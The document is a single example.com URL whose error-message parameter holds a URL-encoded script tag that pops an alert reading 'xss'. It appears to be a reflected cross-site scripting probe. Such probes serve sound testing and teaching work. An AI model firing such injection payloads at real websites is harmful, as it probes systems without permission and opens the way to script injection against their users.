http://www.example.com/?errno=1006&errmsg=%3Cscript%20language=javascript%3Ealert('xss')%3C/script%3E